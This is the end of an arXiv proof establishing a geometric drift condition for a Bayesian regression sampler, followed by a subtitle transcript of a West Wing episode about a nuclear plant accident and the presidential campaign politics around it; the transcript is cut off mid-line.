\\psi_2\n\\sum_{i=1}^m (y_i - x_i^T \\hat{\\beta})^2 + \\psi_2 \\hat{\\beta}^T\n\\Sigma^{-1} \\hat{\\beta} + \\psi_3 \\Big( \\hat{\\sigma}^2 +\n\\frac{1}{\\hat{\\sigma}^2} \\Big) + L_2 \\;.\\end{aligned}$$ Putting all of this together, we have $$\\begin{aligned}\nE(V(\\beta, \\sigma^2) | \\hat{\\beta}, \\hat{\\sigma}^2) \\le r (\\psi_2 + 1)\n\\bigg( \\sum_{i=1}^m (y_i - x_i^T \\hat{\\beta})^2 \\bigg) + & r (\\psi_2\n+1) \\hat{\\beta}^T \\Sigma^{-1} \\hat{\\beta} \\; + \\\\ & \\Big[ r \\psi_3 +\n (1-r) \\Big] \\Big( \\hat{\\sigma}^2 + \\frac{1}{\\hat{\\sigma}^2} \\Big) +\nC' \\;,\\end{aligned}$$ where $$C' = (1-r) \\Big[ 2\\norm{y}^2 + D \\big( 2 \\norm{X\n \\Sigma^{\\frac{1}{2}}}^2 + 1 \\big) \\Big] +\n\\frac{r(m+2\\alpha)}{2\\gamma} + \\frac{2r\\gamma}{m+2\\alpha-2} + r L_2\n\\;.$$ Hence, $$E(V(\\beta, \\sigma^2) | \\hat{\\beta}, \\hat{\\sigma}^2) \\le \\max \\Big \\{\nr(1+\\psi_2), r \\psi_3 + (1-r) \\Big \\} V(\\hat{\\beta}, \\hat{\\sigma}^2) +\nC' \\;,$$ and, since $r \\psi_3 + (1-r) < 1$ for all $r \\in (0,1)$, we have a valid geometric drift condition as long as $r < (1+\\psi_2)^{-1}$. Finally, an appeal to Lemma \\[lemma:hybridge\\] completes the proof.", "\n" ]

{ "pile_set_name": "ArXiv" }

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[ "\"Previously on The West Wing:\" \"You got a four-point bump.\" \"", "Vinick only got two.\" \"", "When we're talking about education, we talk about our most precious resource.\" \"", "Matt Santos is a lot smarter and tougher than you think.\" \"", "We gotta take it to him.\" \"", "We gotta put Santos in a jam.\" \"", "Kazakhstan isn't China's only oil source.\" \"", "The Kazakh people are rioting because they've been screwed out of an election.\" \"", "Worst case, two nuclear powers are positioning themselves to engage in an armed conflict over oil.\" \"", "Did the Chinese invade?\" \" ", "Kazakhstan is stable.\" \" ", "What is it?\" \" ", "A nuclear accident.\" \" ", "A weapon?\" \" ", "A power plant.\" \" ", "Is it Russia?\" \"", "San Andreo, California.\" \"", "They think it might blow up.\" \" ", "What do we know?\" \" ", "Seventeen minutes ago at 6:02 emergency sirens went off at the nuclear station in San Andreo, California.\" \"", "The main feedwater pump failed.\" \"", "Everything proceeded as expected.\" \"", "A relief valve opened to let the water escape...\" \" It shut itself down?\" \" ", "But now a valve's malfunctioning.\" \"", "Coolant's stopped flowing into the reactor's core.\" \"", "If they can't get coolant into the core...\" \"The uranium fuel rods become exposed, which makes them combustible.\" \"", "We could be looking at a full-scale meltdown.\" \" ", "Full-scale as in...\" \" FEMA thinks the plume could cover all of San Andreo, population 42,000.\" \"", "Federal response teams are on the way.\" \" ", "Any word on the cause?\" \" ", "Could be human error, a design flaw...\" \"Not likely terrorists would sneak in and jam a valve.\" \" ", "We're re-checking all the intel.\" \" ", "Has the public been notified?\" \"", "No, but when they shut down the reactor a steam release sounded like a Concorde landing and CNN's already running rumors of an explosion.\" \"", "I want the FEMA director and the chair of the Nuclear Regulatory Commission in here.\" \"", "Get CNN to stop running rumors.\" \"", "I'll make a statement in 15.\" \"", "You don't want to notify the public till there's a plan.\" \"", "There could be widespread panic.\" \"", "We better get a plan.\" \"", "I'm making a statement in 15 minutes.\" \"", "Yes, sir.\" \"", "Thank you, Mr. President.\" \"", "Yes, we worry.\" \"", "We have two young children.\" \"", "But censorship's like saying I can't have a steak because a baby can't chew it.\" \"", "Let's be careful.\" \" ", "Yeah?\" \" ", "He's good tonight.\" \"", "As long as he keeps pivoting to the issues.\" \"", "You told Rolling Stone you like Bob Dylan.\" \"", "Which is your favorite album?\" \"", "My favorite Bob Dylan album...\" \"I guess I should say Highway 61 Revisited and then we can just ease into transportation policy.\" \"", "But really it's Blonde on Blonde.\" \"", "Believe me, there are no policy implications to that.\" \" ", "Did he just imply...?\" \" ", "Jay Leno's gonna have a field day.\" \"", "No big issues captivated the voters.\" \"", "Surprised it's come down to geezer-rock trivia?\" \"", "Yes, it was a positive experience.\" \"", "No, I wouldn't recommend it to others.\" \" ", "Wrap it up.\" \" ", "What?\" \"", "There was a nuclear accident in California.\" \"", "Get to a television, laptop.\" \"", "Get any details you can.\" \"", "Santos is doing that Rock the Vote event in Tampa.\" \"", "Probably pandering like mad to a bunch of preteens.\" \"", "Better be some post-teens, you're sending me there tomorrow.\" \"", "I'm sending you because you talk like a president not some latter-day Mick-Jagger-in-chief.\" \"", "Yeah, Bruno.\" \"", "I can tell them about my psychedelic phase when I wore brown socks on the Senate floor.\" \"", "Call me the second you get confirmation.\" \"", "Confirmation on what?\" \"", "A problem with a nuclear plant in California.\" \"", "San Andreo.\" \"", "Might be an explosion.\" \"", "San Andreo.\" \" ", "It's near San Diego.\" \" ", "Yeah, I know where it is.\" \"", "What?\" \"", "I pushed the licensing commission to get San Andreo up and running 25 years ago.\" \"", "Pushed?\" \"", "I helped get that plant online.\" \"", "No one knows what's happened at the San Andreo nuclear plant.\" \"", "We're waiting for confirmation of some kind of nuclear accident...\" \"The Office of Cabinet Affairs.\" \"", "Make sure I have an open line to the director.\" \"", "Yeah, it's an emergency.\" \"", "We've received numerous reports of a loud explosion as well as reports of Arab tourists seen near the facility in the last two days.\" \"", "How can they run rumors?\" \"", "Only thing certain in cases like this, first reports are wrong.\" \"", "How we handle this will determine whether there's panic within a hundred miles of every nuclear plant in this country.\" \"", "We don't get a second chance to make a first impression.\" \"", "Harry?\" \"", "The coolant in the reactor's dropped, exposing the fuel rods.\" \"", "How can we get cool water in there?\" \"", "They're running a temporary feed line while they figure out what's wrong.\" \" ", "In the meantime?\" \" ", "They're activating an emergency pump.\" \"", "They hope it'll lower temperatures enough to prevent meltdown.\" \"", "There's a second problem.\" \"", "Yes, another valve is stuck open.\" \"", "With temperatures rising, radioactive steam is being generated pouring into the containment building.\" \"", "We worried about a radiation leak?\" \"", "They might have to pump radioactive gases into an auxiliary building not built to hold them.\" \" ", "One poorly-welded seam...\" \" How much radiation we talking?\" \"", "It's unclear, but Cal Vista Gas and Electric...\" \"They run the San Andreo plant.\" \"", "Yes, they believe any leak would pose little or no threat to the public health.\" \" ", "Without knowing how big it might be.\" \" ", "It's chaos.\" \"", "I couldn't get them on the phone.\" \"", "I want the Nuclear Regulatory Commission to take command.\" \" ", "And I want to evacuate the area.\" \" ", "It's a state and local matter.\" \" ", "Get the governor of California.\" \" ", "Yes, sir.\" \"", "Governor Tillman wants to wait until we're sure it's necessary.\" \"", "He'll argue that a rash, nighttime evacuation could be worse.\" \" ", "Governor's on the line.\" \" ", "Thank you.\" \"", "Gabe, you have to evacuate San Andreo.\" \"", "We're all working off sketchy information.\" \"", "Because trust me on this we'd rather have a few fender-benders on the l-5 than a generation of babies with thyroid cancer.\" \"", "My FEMA director is here.\" \"", "He'll coordinate with your emergency services and I'm going to declare a major federal disaster.\" \"", "You're gonna have every federal resource you need.\" \"", "We're gonna get through this.\" \"", "With all the levels of government involved in this now's a good time to designate a czar.\" \" ", "A single point-person to oversee...\" \" You're looking at him.\" \"", "We talked to the Senate office.\" \"", "They're reaching out to the governor's office.\" \"", "Hundreds of press requests.\" \"", "Issue a statement supporting the governor's evacuation.\" \"", "Call for an investigation.\" \"", "This has to be a regulatory failure.\" \"", "We wanna be careful, though.\" \"", "The Senator is pro-nuclear.\" \" ", "He said it in the first debate.\" \" ", "We have to act defensively.\" \"", "DNC's gotta know he lobbied to get that plant open.\" \"", "Defensive but not destructive.\" \"", "What, you want...?\" \"", "Jamie and your grandkids are in San Diego?\" \"", "Phone lines are jammed there.\" \"", "Cell phones, everything.\" \"", "Put out a statement supporting the governor.\" \" ", "President wants to make a statement.\" \" ", "Saying what?\" \"", "Whatever we figure out in a few minutes.\" \"", "You wouldn't believe the rumors that there's a fire near the reactor.\" \" ", "Not exactly.\" \"", "That we're shutting down every nuclear plant.\" \"", "Not the dumbest of ideas.\" \"", "The press are gonna talk to everybody.\" \"", "They're gonna speculate.\" \"", "Grab hold of the information flow.\" \" ", "I have no info.\" \" ", "Welcome to the club.\" \"", "Start with that.\" \"", "What are the odds this leads to meltdown?\" \"", "A meltdown isn't when one thing goes wrong.\" \"", "It's when 12 things do.\" \"", "There must be 6 million people within a hundred miles of that plant.\" \"", "FEMA recommends we evacuate 15 down, six and nine around.\" \" ", "That'll cover all of San Andreo.\" \" ", "Fifteen down?\" \"", "Fifteen miles between six and nine, like a clock.\" \"", "But emergency services wants to do 10 down six and nine around, the legal minimum.\" \"", "If they're fine with 10 miles, the governor and I'll be setting up a command post at 10. ", "1 miles from the plant.\" \"", "We'd like them to join us.\" \"", "The press ready for my statement?\" \" ", "Readier than we are.\" \" ", "Not like we have much.\" \"", "Sounds like they're more comfortable with 15 miles.\" \"", "Good evening.\" \"", "Thirty-two minutes ago, there was a mechanical problem at the nuclear station at San Andreo, California which is causing the reactor's core to overheat.\" \"", "There's been no explosion.\" \"", "There's no indication of terrorism or foul play.\" \"", "Engineers are working to address the problem now.\" \"", "Governor Tillman has begun an evacuation and I'm declaring a major federal disaster and dispatching every possible resource.\" \"", "We don't have all the facts.\" \"", "You will have them as soon as we do.\" \"", "But every level of government is working together on this.\" \"", "No matter what happens, we're going to handle it.\" \"", "So, what they're doing is bypassing the broken valve running a new pipeline to get cool water into that reactor.\" \"", "Federal officials believe they can avoid the worst, but I can tell you...\" \"I don't understand why they put a plant so close to a population center.\" \"", "They all are.\" \"", "Otherwise they lose too much power in transmission.\" \" ", "So the whole idea's kind of crazy.\" \" ", "Kind of.\" \"", "You should give a big speech on that.\" \"", "Put out a new energy plan.\" \"", "Vinick's plan glows in the dark.\" \"", "Vinick's for nuclear power.\" \"", "You've fought against it.\" \"", "Get every environmental group for a press conference.\" \"", "Skip Oregon.\" \"", "Campaign along the evacuation route, give out bottled water.\" \"", "Can I talk to you?\" \"", "Let me know when they get the pipeline to the core.\" \" ", "Where's Leo?\" \" ", "He's on a charter to Ohio.\" \"", "He's gonna call in when he lands.\" \"", "Cool it on the political chatter.\" \"", "I don't want rallies on the Hindenburg.\" \"", "I'm gonna cancel tomorrow.\" \"", "We can't be exploiting this.\" \" ", "Yeah.\" \" ", "And I don't think we're gonna have to.\" \"", "You're anti-nuclear, Vinick's got a long history.\" \"", "This is all upside for us.\" \"", "I say we go completely dark.\" \"", "Let the press go after Vinick so they can't accuse us of playing politics.\" \" ", "I'm fine doing nothing on this issue.\" \" ", "I mean nothing on any issue.\" \"", "No speeches, no press releases.\" \"", "We just stay right here.\" \"", "See which way the wind blows.\" \"", "And what's blowing in it.\" \"", "Have we cooled down the reactor's core?\" \"", "The pump hasn't had much impact.\" \"", "We're talking 700 degrees in there.\" \"", "Hang on.\" \"", "We've got a temporary coolant line to the core.\" \"", "I don't see anyone popping champagne corks.\" \"", "I thought if we got a line in there, we avoid a meltdown.\" \"", "Steam is still gushing into the containment building.\" \"", "They had to start pumping it into the auxiliary building.\" \" ", "Which wasn't designed to hold it.\" \" ", "No, it can accommodate up to 50 pounds psi.\" \"", "It's now at 34 psi and rising.\" \"", "The coolant won't be enough, and the fuel rods give off hydrogen gas.\" \"", "Which is extremely explosive.\" \"", "If we get near maximum levels...\" \"The containment building might withstand that blast.\" \"", "The auxiliary building cannot.\" \" ", "So?\" \" ", "Unless we fix the valves soon we have to vent radioactive gas to relieve the pressure.\" \" ", "How many people still in San Andreo?\" \" ", "About 30,000.\" \"", "I don't want to release any radiation until everyone's evacuated.\" \" ", "What's the alternative?\" \" ", "An explosion that spreads radiation over Southern California, maybe parts of Arizona and Nevada, sir.\" \"", "How much would we have to vent?\" \"", "It would be within parameters for an acceptable dosage.\" \"", "It's Santa Ana season in Southern California.\" \"", "Could be good if winds stay consistent.\" \"", "Radiation could drift out over the ocean.\" \"", "How do we speed up the evacuation?\" \"", "Tell people we're about to spill radiation into the air.\" \"", "Good chance that'll speed them up.\" \"", "How much time before we reach 50 psi?\" \"", "Maybe an hour.\" \"", "Who would give the order?\" \"", "We've taken charge of the plant.\" \"", "That would be you.\" \"", "DOE, EPA, NOAA.\" \"", "Okay, let's get started.\" \"", "I wanted all the agency spokespeople in one place so we could...\" \" Yes, Blieden?\" \" ", "You got an update for us?\" \"", "Radioactive steam's been spilling so much they've had to pump it into another building.\" \"", "The building can hold 50 pounds of pressure.\" \"", "It's now at 38.\" \"", "We may have to vent radiation into the atmosphere to avoid a big bang.\" \"", "Guys, guys, I don't have time to do this by Socratic method.\" \"", "Each of your agencies is going to be involved in this but no one, not a single one of you, is going to talk to the press.\" \" ", "No one.\" \" ", "I've got a call list 10 pages long.\" \"", "I assure you, they've called my office too.\" \"", "There'll be one briefer:\" \"Me.\" \"", "What if it's the administration's fault?\" \"", "We can't withhold information.\" \"", "We won't be.\" \"", "We're trying to maintain calm, like we know what we're doing.\" \"", "So there'll be one voice, the dulcet tones of Will Bailey.\" \" ", "Souvenir programs in the lobby.\" \" ", "What about political questions?\" \"", "Vinick's the pro-nuke guy in...\" \"There'll be one briefer, and I won't answer political questions.\" \" ", "Will.\" \"", "Will.\" \" ", "Guys.\" \"", "It's morning in Kazakhstan.\" \"", "The polls open in two hours.\" \" ", "Busy night for you.\" \" ", "It's always morning somewhere.\" \"", "We have election monitors?\" \"", "Through the OSCE.\" \"", "China needs to see this is a genuine democracy not some Russian puppet-government out to screw them.\" \"", "China's got troops along the border.\" \"", "If they think it's a phony election to protect a Russian-installed incumbent...\" \"They cross the border, so does Russia, we have a war.\" \"", "I'll have regular updates for you.\" \"", "So we're at 46 psi?\" \"", "We don't have much time to relieve the pressure.\" \" ", "Where are we in the evacuation?\" \" ", "Maybe a third of the people are out.\" \"", "At least 700,000 are pouring onto freeways.\" \" ", "Seven hundred thousand?\" \" ", "That's conservative.\" \"", "There aren't enough buses and vans to take at-risk populations.\" \"", "Seniors, people with disabilities.\" \"", "The governor wants to activate military support from Camp Pendleton.\" \"", "So ordered.\" \"", "Do we have a direct line to the control room?\" \"", "The superintendent is on now.\" \"", "We've got helicopters overhead to make sure we're within the acceptable dosage.\" \" ", "Which is?\" \" ", "Five hundred millirems.\" \"", "Any way to wait for support from Camp Pendleton?\" \"", "I don't like the idea of the elderly and disabled taking the brunt of this.\" \"", "The longer we wait, the more chance of an explosion and radiation shooting into the atmosphere.\" \" ", "Vent it now.\" \" ", "Open the stack.\" \"", "Opening auxiliary stack.\" \"", "What do we mean by \"acceptable dosage,\" anyway?\" \"", "It's the amount the body can safely absorb through direct exposure.\" \"", "But radiation also enters the surface layers of the soil where it's absorbed by plants and insects and enters the food supply.\" \"", "It seeps into water sources.\" \"", "When it does enter the body, sometimes it kills cells instantly sometimes it forms damaged cells.\" \" ", "Cancer?\" \" ", "Yes, sir.\" \"", "Stack opened, steady at 1200 mrems.\" \" ", "Twelve hundred?\" \" ", "Inside the stack.\" \"", "Once it's in the air, it'll disperse.\" \"", "Anything below 500, we're fine.\" \"", "Five hundred and sixty-nine millirems above the stack.\" \" ", "We have to announce the number.\" \" ", "It'll make the evacuation harder.\" \"", "Can we take another reading?\" \"", "Steady at 561.\" \"", "It's more than we consider safe.\" \"", "We have to let the people know.\" \"", "Anyone not on the freeway will get on.\" \"", "Make the freeway one-way.\" \"", "No one feels comfortable making that choice.\" \"", "Santa Ana winds can shift...\" \"We're spilling radiation, people are jamming the freeways and we don't know what direction they should drive?\" \" ", "Tell Will to announce the number.\" \" ", "Yes, sir.\" \"", "Will!\" \"", "Will!\" \"", "So you're saying the radiation release was at a dangerously unsafe level?\" \"", "No, I'm saying it was slightly above EPA standards for an acceptable dosage.\" \"", "The government believes it's safe?\" \"", "I didn't say that, I'm just trying to present the facts.\" \"", "One million people are fleeing Southern California.\" \" ", "Is the president worried about panic?\" \" ", "He's worried about safety.\" \"", "He's urging those outside the evacuation zone to stay home so those in the zone can get out.\" \" ", "Is the EPA going to brief on radiation...?\" \" ", "I'm briefing on that.\" \" ", "What if we need more information...?\" \" ", "Ask me and I'll get it.\" \"", "Blieden says the weather agencies are worried winds will shift.\" \"", "People could be evacuating the wrong way.\" \" ", "Blieden said that?\" \" ", "Yes, that NOAA and NARAC...\" \" I'll get into it.\" \" ", "Will!\" \"", "Will!\" \" ", "Power.\" \"", "Plants that we already have.\" \"", "Nuclear power is a completely safe, dependable energy source.\" \" ", "We should build more...\" \" Completely safe?\" \"", "I don 't wanna be an alarmist...\" \" Playing Vinick's debate clip a lot.\" \" ", "Yeah, starting to.\" \"", "Site Advance wants to know if we're scrubbing the Oregon trip.\" \"", "The congressman doesn't want to politicize a tragedy.\" \"", "We don't want to do a press statement in the morning?\" \"", "No interviews, no statements.\" \"", "Not from us, not from the DNC, not from anyone we control.\" \"", "We could make hay.\" \"", "Vinick's the pro-nuke poster child.\" \"", "No hay, no posters.\" \"", "The Oregon trip is off.\" \"", "You may want to hang on to your pitchfork.\" \"", "I'm behind you on all this, Gabe.\" \"", "All right, bye.\" \"", "How's the governor?\" \" ", "Nervous.\" \" ", "I don't see why.\" \"", "Any angry constituents will just be vaporized anyway, right?\" \"", "Am I the only one left in the family with a sense of humor?\" \"", "Anything new?\" \" ", "How about something old?\" \" ", "What is it?\" \"", "Vinick lobbied for federal approval for San Andreo 25 years ago.\" \"", "He's the reason the plant's there.\" \" ", "When is this gonna break?\" \" ", "The press is kind of preoccupied.\" \"", "We don't want to nudge them?\" \"", "We could put it out, yeah.\" \"", "He could hit us back for playing politics with a mushroom cloud.\" \"", "If the press finds it on its own, it'll be 900 times bigger.\" \" ", "And what if they don't find it?\" \" ", "They will.\" \"", "This isn't politics, this is policy.\" \"", "Those places are unsafe.\" \"", "It's a legitimate point.\" \" ", "In San Andreo is a phone line and a television set.\" \"", "In New Mexico, in Arizona, in Colorado people are getting in their cars and driving east.\" \"", "While higher-than-acceptable levels of radiation drift into the air the White House won 't say if we're past risk of a meltdown or explosion.\" \"", "Hide these under your mattress.\" \"", "For now.\" \"", "I don't like hearing \"meltdown\" on cable news.\" \"", "Twelve things have not gone wrong.\" \"", "We're barely at six.\" \" ", "They're still trying to fix the valves.\" \" \"", "They\"?\" \"", "Our engineers, their engineers.\" \"", "Lots of engineers.\" \"", "Radioactive steam is gonna build up in that damned auxiliary building again.\" \"", "Eleven psi and climbing.\" \"", "The more immediate concern is panic.\" \"", "The freeways are like parking lots.\" \"", "Fox is running a story about a family that's leaving the country.\" \"", "How soon can I visit without diverting resources from the evacuation?\" \"", "I could give FEMA's okay for you to travel tomorrow but there's substantial risk...\" \" Tell the press I'm flying out tomorrow.\" \"", "Sir, steam is still building.\" \"", "If we vent...\" \"People know I'm going, they'll stop buying tickets to Norway.\" \"", "What about Senator Vinick?\" \"", "It's his home state.\" \"", "We always invite senators to join you on disaster trips.\" \"", "Have we ever had a situation where one's a party nominee?\" \"", "And if we take Vinick, do we invite Matt Santos?\" \" ", "Maybe...\" \" Vinick's from California.\" \"", "He's on the plane if he wants to be.\" \"", "Set up a call with Matt Santos.\" \"", "Nuclear power is a completely safe, dependable energy source...\" \"Fifth time this hour.\" \"", "Words that haunt the candidate...\" \"Know how many press requests we've got?\" \"", "A bunch.\" \"", "Every network, every major newspaper, plus Japanese TV, Internet radio.\" \"", "There's requests from homing pigeons in here.\" \"", "We have to say something.\" \"", "We support the governor.\" \"", "We'll say it in Japanese.\" \"", "The senator, on camera.\" \"", "Give them fresh video or they'll keep running that.\" \" ", "He should whack federal regulators.\" \" ", "Bob...\" \"The regulations are too lax.\" \"", "It's practically Scout's honor.\" \"", "We're in a big glass house.\" \"", "We do not throw the first stone.\" \"", "Okay, a moratorium on all new nuclear plant construction.\" \"", "He cannot retreat from what he said.\" \"", "They're killing us and they don't know our guy helped get that plant approved.\" \"", "Bob, I know Josh Lyman.\" \"", "There is a reason he is camped out in Florida the swingingest of swing states.\" \"", "Santos is gonna whack us then we hit back for politicizing a national disaster.\" \" ", "That's a big roll of the dice.\" \" ", "Trust me.\" \"", "Josh has the political equivalent of Tourette's Syndrome.\" \"", "We wait for his next spasm, then we strike.\" \"", "Yeah, Bruno.\" \"", "Yeah.\" \"", "C.J.\" \"All right, I'll tell him.\" \"", "President wants the senator to fly with him on Air Force One tomorrow.\" \"", "To San Andreo.\" \"", "Yes, Mr. Mayor, there's coolant running into the reactor now.\" \"", "Fingers crossed.\" \"", "I thought a degree in economics was plenty.\" \" ", "My kingdom for a plumbing license.\" \" ", "I have Matt Santos on the line.\" \"", "Thanks.\" \"", "Matt, you look great out there, when you're actually, you know, out there.\" \"", "Just holding tight, Mr. President.\" \"", "Praying for the people of San Andreo.\" \"", "Matt, I'm taking Arnie Vinick to California.\" \"", "I know this could help him politically.\" \" ", "Yes, sir.\" \" ", "The senior senator from California.\" \"", "If I do anything else, I'd be playing games with a national emergency.\" \"", "Well, you have to do what you think's best.\" \" ", "Keep me in your prayers too.\" \" ", "Yes, Mr. President.\" \"", "I will.\" \"", "Thanks.\" \"", "It's an enormous gift.\" \"", "Jed Bartlet's our radiation shield.\" \" ", "We're banking on the Democrat to help.\" \" ", "Is Santos coming?\" \"", "No.\" \"", "Your state, not his.\" \"", "What if news of your lobbying for San Andreo breaks?\" \" ", "This is how we survive it.\" \" ", "Not if the story breaks.\" \"", "You don't get it, do you?\" \"", "Santos is shut out of this trip.\" \"", "Josh has to attack us now.\" \"", "Flying there links us to the disaster, and hoping Josh's blood sugar spikes...\" \"I represent this state.\" \"", "I'm taking that seat on Air Force One.\" \"", "What is it?\" \"", "The temporary pipeline that runs cool water to the core it usually carries hot water, not cold.\" \" ", "Okay.\" \"", "Imagine heating a glass to 700 degrees then pouring ice water in it.\" \" ", "The pipe's cracking.\" \"", "Water level around the fuel rods is dropping.\" \"", "They've tried to fix it from the control room.\" \"", "We have to send men into the building to fix them by hand.\" \"", "I'm guessing the radiation in there is above the acceptable dosage.\" \"", "Five times more, even with anti-contamination gear.\" \"", "Who would we be sending in?\" \"", "Two mechanical engineers from the Nuclear Regulatory Commission.\" \"", "Civilian engineers?\" \"", "There isn't some military team, some Pentagon specialist we can deploy?\" \"", "This is their job, sir.\" \"", "You think when they started school they imagined the president would ask them to risk their lives by prying open a piece of pipe?\" \"", "Let's send them in.\" \"", "I have a couple announcements to make.\" \"", "The emergency secondary pipeline the temporary line that's bringing cool water to the reactor's core it's cracking and degrading.\" \"", "Technicians are working to run new pipe and two NRC engineers will be entering the containment building to fix the valves manually.\" \"", "They must be taking an enormous risk by walking in there.\" \"", "It's very dangerous.\" \"", "They're trained for it.\" \"", "Is more radioactive gas building up in the auxiliary structure?\" \"", "We hope to fix the problem before that's an issue.\" \" ", "You'd say we're close to an explosion?\" \" ", "I promised the facts, you'll get them.\" \"", "The AP's saying these kind of mechanical problems show clear failures on the part of the Bartlet...\" \"Let me tell you who knows what's going on.\" \" ", "He briefs from this podium.\" \" ", "This isn't the Kremlin.\" \"", "How do we know you're not covering something?\" \"", "Second announcement.\" \"", "Tomorrow, the president will travel to a command center outside the evacuation zone.\" \"", "He'll be accompanied by the California Congressional delegation.\" \"", "He believes it's safe?\" \"", "The immediate danger is inside the zone.\" \" ", "Does this mean Senator Vinick's going?\" \" ", "He's a member of the delegation.\" \" ", "What about Congressman Santos?\" \" ", "No other delegations are going.\" \"", "Does this jeopardize Santos' campaign?\" \"", "Tough crowd in there.\" \" ", "You said we're worried about wind.\" \" ", "I got it from your office.\" \"", "It's why you're off the talking points distribution list.\" \" ", "I need those to do my job.\" \" ", "Not anymore.\" \"", "You're being transferred.\" \"", "You no longer speak for this government.\" \" ", "For telling people the truth?\" \" ", "For causing further panic.\" \"", "Doesn't matter if it's true or if I've already said it.\" \"", "We're trying to prevent hysteria in a climate where truth is misinterpreted.\" \"", "So we speak with one voice.\" \"", "You're lucky you still have a job.\" \" ", "Donna?\" \" ", "Here she is.\" \"", "Donna?\" \"", "No comment.\" \"", "Guess you heard the president's taking Vinick to California.\" \" ", "Yeah.\" \"", "It's his home state.\" \"", "There's a protocol to these things.\" \"", "Well, let's hope everyone uses the correct fork.\" \"", "It could hurt Vinick, flying into the fallout.\" \"", "He gets to be statesman, healer.\" \"", "When will the press figure out he got the plant opened?\" \"", "Cable news is still running the debate clip.\" \"", "More press requests, plus...\" \"Governor of Colorado, the DNC.\" \"", "These are all for me?\" \"", "They're wondering why we're in Florida instead of mobilizing to slam Vinick.\" \"", "Prevailing winds.\" \"", "Advance is begging us to get off the dime.\" \"", "Tell advance to stick to losing my luggage.\" \"", "Vinick's coasting toward his bipartisan buddy weekend with the president.\" \"", "The advance guys are right.\" \"", "If we don't take him on, he's...\" \"It's estimated that the radiation levels inside the building are four or five times higher...\" \"Just sent two engineers into the containment building.\" \"", "Like putting them in a microwave set on high.\" \" ", "Getting a few press requests.\" \" ", "By \"a few,\" you mean...?\" \" ", "A million-gajillion.\" \" ", "Okay, that's not a real number.\" \"", "I'm not talking Radio Free Yonkers.\" \"", "Every morning show wants you.\" \" ", "Are you changing your mind on this?\" \" ", "I don't know.\" \"", "The second Vinick gets on Air Force One and has Bartlet's arm around him it's like a dose of political penicillin.\" \"", "One day with the president doesn't erase three decades of pushing plutonium.\" \"", "Josh is right.\" \"", "It gives Vinick a chance to absolve himself.\" \"", "If they know he lobbied for San Andreo, there goes his get-out-of-jail-free card.\" \"", "If our fingerprints are anywhere on that...\" \" Maybe we get a third party to do it.\" \" ", "Why isn't Vinick linked to that plant?\" \"", "They just sent engineers to the building.\" \"", "The press are on the freeways too.\" \"", "If it comes out after they become the Martin and Lewis of disasters...\" \"Couple of network presidents called.\" \"", "Direct appeals to do the morning shows.\" \"", "You were right four hours ago, you're still right now.\" \"", "Tell them thanks, but no thanks.\" \"", "Nothing on Drudge, nothing on The Note, nothing on the wires.\" \"", "I don't know what Josh is waiting for.\" \"", "Senator has to say something on camera before he gets on that plane.\" \" ", "No, he doesn't.\" \" ", "Sympathy for the region.\" \"", "Sympathy for the Redskins, I don't care.\" \"", "You want that debate to air another 6000 times?\" \"", "Josh hits us, we call it bare-knuckled exploitation of a tragedy and we let the president do the heavy lifting.\" \"", "We get him to say, right there in California, that accidents happen.\" \"", "The president will defend us on nuclear power?\" \"", "A nuclear disaster on his watch?\" \"", "He'll jump at the chance.\" \"", "He'll be defending himself too.\" \" ", "Did you talk to the Red Cross?\" \" ", "Twenty minutes ago.\" \"", "They need more potassium iodine in the shelters.\" \" ", "FEMA can work it.\" \" ", "We took care of it.\" \"", "Petcock's working.\" \"", "The valve's turning.\" \" ", "What happened?\" \" ", "The engineers opened the valve.\" \"", "If there's no overflow we can pull them.\" \"", "What about the relief valve?\" \"", "Steam's still spewing into the building.\" \"", "It's already been 17 minutes.\" \"", "They shut the other valve, we're okay.\" \" ", "This is an extremely toxic environment.\" \" ", "If more gas pours out so is most of Southern California.\" \" ", "You wanna expose another team?\" \"", "How much longer would it take?\" \"", "Five, maybe 10 minutes.\" \"", "Ask them to try and shut down the other valve.\" \" ", "Ask them to move on to the relief valve.\" \" ", "Excuse me, Mr. President.\" \"", "The polls just closed in Kazakhstan.\" \" ", "The Russian-installed incumbent...\" \" Tarimov.\" \" ", "He's been declared the winner.\" \" ", "Tell me they counted the votes first.\" \"", "Our election monitors are reporting beatings, mass arrests of civic activists.\" \"", "Barely got China to hold their troops by scheduling this election.\" \" ", "This could lead to hostilities.\" \" ", "Already got them.\" \"", "A pro-democracy riot's broken out in the Kazakh capital.\" \"", "There's a corrosion build-up on the valve stem.\" \"", "We're not getting enough torque.\" \"", "They finally pulled out the engineers.\" \"", "Thirty-two minutes, they couldn't stop the leak.\" \"", "Did you see my memo about your press availability with the president tomorrow?\" \"", "Bob wants me to make a statement before I get on Air Force One.\" \"", "You want me to get the president to say \"accidents happen.\" ", "That's fine.\" \"", "But Bob's right.\" \"", "I can't wait another seven hours to show my face in public.\" \"", "You wanna show your face and say what?\" \"", "You've been wrong?\" \"", "Nuclear's peachy, while a million people are on the run?\" \"", "This wasn't a failure of nuclear technology.\" \"", "This was a regulatory screwup.\" \"", "You point fingers, it will look like you're avoiding any responsibility for this.\" \"", "You know why Europe's greenhouse emissions are so much lower than ours?\" \" ", "Nuclear power.\" \"", "Totally emissions-free.\" \" ", "Sure, but...\" \"You know how many Americans die from oil-refinery explosions?\" \"", "From coal soot in the air?\" \"", "Tens of thousands.\" \"", "And not one from a nuclear-power anything in 30 years.\" \" ", "Okay, you're right, but that is still...\" \" Every time they show that debate clip it looks like I ran into that plant and spilled uranium on the floor.\" \"", "Santos is gonna hit us.\" \"", "You have to wait.\" \"", "That is how we change the story.\" \"", "I'm gonna give the press some footage besides that debate clip.\" \"", "I need you to keep your political hat on.\" \"", "Thirty-one states with nuclear plants.\" \"", "We don't know how many voters will be living in California by Election Day.\" \"", "My lobbying for San Andreo is out there like a ticking time bomb.\" \"", "We can't control the politics of this, not even close.\" \"", "I'll talk to the president, but I'm the senator from California.\" \"", "And I'm gonna make a statement before I get on that plane.\" \"", "Both the engineers who were in the containment building they've been hospitalized for radiation sickness.\" \"", "One slipped into a coma.\" \"", "Sir, they knew the danger better than us.\" \" ", "You weren't wrong...\" \" No one told me their names.\" \"", "James Cook is the one in...\" \"James Cook and Mark Laroche.\" \"", "We'll get call sheets for the families.\" \"", "The pressure in the auxiliary building's up to 28 psi.\" \"", "You may need to authorize a second team to try to shut the valve manually.\" \"", "If you'd like, you can deputize the NRC chair to make the call.\" \" ", "Fifteen minutes and out.\" \" ", "But if they don't solve...\" \"Fifteen minutes and out.\" \"", "If they can't solve the problem, we may look at another venting of radiation.\" \"", "The Santa Anas don't stay 